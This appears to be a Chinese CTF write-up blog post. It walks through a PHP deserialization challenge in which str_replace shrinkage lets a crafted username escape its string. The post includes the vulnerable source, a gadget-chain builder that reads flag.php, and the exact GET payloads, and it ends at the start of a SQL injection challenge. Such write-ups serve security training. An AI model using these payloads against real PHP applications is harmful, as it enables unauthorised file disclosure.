安恒月赛20200425

web

Ezunserialize

打开就有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 <?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

看见替换想到字符串逃逸

因为A类中的username,password可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class A{
public $username;
public $password;
function __construct(){
$this->password = new B();
$this->username ='\0';
}
}

class B{
public $b;
function __construct(){
$this->b=new C;
}
}

class C{
public $c;
function __construct(){
$this->c="flag.php";
}
}

$a=new A();
echo serialize($a); //O:1:"A":2:{s:8:"username";s:2:"\0";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

在经过替换函数后,字符减少了3个。正常的序列化后的字符串是

1
2
3
4
5
6
7
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
1
O:1:"A":2:{s:8:"username";s:4:"test";s:8:"password";s:4:"tese";}

要使得password的类型变成对象类,就要把原本的字符串类型吃掉。

从而变成

1
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:74:"0";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}";}

传入

1
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 (8个\0\0\0). b=0";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

本地测试通过了,但是远程没打通

babytricks

打开题目是一个登录框,查看源码发现提示

1
tips:select * from user where user='$user' and passwd='%s'
  • © 2019-2023 sunny250
  • Hexo Theme Ayer by shenyu
    • PV:
    • UV: